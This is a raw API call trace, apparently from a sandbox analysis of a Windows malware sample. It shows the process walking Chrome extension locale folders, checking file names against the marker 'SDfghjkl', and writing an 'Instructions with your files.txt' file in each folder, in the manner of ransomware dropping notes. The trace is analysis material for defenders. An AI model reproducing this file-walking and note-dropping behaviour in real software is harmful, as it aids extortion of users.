[0129.485] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\.") returned 143
[0129.485] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841147f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84116f00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84116f00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.485] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\..") returned 144
[0129.485] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84116f00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84116f00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x130, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.485] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json") returned 155
[0129.485] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.485] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84116f00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84116f00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x130, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.485] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\Instructions with your files.txt") returned 174
[0129.485] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.485] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.486] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.486] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.486] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.486] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.487] CloseHandle (hObject=0x134) returned 1
[0129.487] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.487] GetProcessHeap () returned 0x810000
[0129.487] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.487] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8411bd20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84120b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84120b40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1
[0129.487] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB") returned 144
[0129.487] GetProcessHeap () returned 0x810000
[0129.487] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.487] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\*") returned 146
[0129.487] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8411bd20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84120b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84120b40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.488] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\.") returned 146
[0129.488] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8411bd20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84120b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84120b40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.488] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\..") returned 147
[0129.488] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84120b40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84120b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.488] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json") returned 158
[0129.488] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.488] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84120b40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84120b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.488] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\Instructions with your files.txt") returned 177
[0129.488] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_gb\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.488] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.490] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.490] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.490] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.490] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.490] CloseHandle (hObject=0x134) returned 1
[0129.490] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.490] GetProcessHeap () returned 0x810000
[0129.490] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.490] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8412a780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8412ce90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8412ce90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1
[0129.490] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US") returned 144
[0129.490] GetProcessHeap () returned 0x810000
[0129.490] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.490] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\*") returned 146
[0129.490] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8412a780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8412ce90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8412ce90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.491] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\.") returned 146
[0129.491] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8412a780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8412ce90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8412ce90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.491] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\..") returned 147
[0129.491] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8412ce90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8412ce90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.491] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\messages.json") returned 158
[0129.491] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.491] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8412ce90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8412ce90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.491] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\Instructions with your files.txt") returned 177
[0129.491] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_us\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.491] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.492] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.492] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.492] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.492] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.492] CloseHandle (hObject=0x134) returned 1
[0129.493] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.493] GetProcessHeap () returned 0x810000
[0129.493] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.493] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84131cb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841343c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841343c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1
[0129.493] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es") returned 141
[0129.493] GetProcessHeap () returned 0x810000
[0129.493] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.493] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\*") returned 143
[0129.493] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84131cb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841343c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841343c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.494] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\.") returned 143
[0129.494] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84131cb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841343c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841343c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.494] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\..") returned 144
[0129.494] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841343c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841343c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.494] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json") returned 155
[0129.494] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.494] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841343c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841343c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.494] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\Instructions with your files.txt") returned 174
[0129.494] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.494] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.495] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.495] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
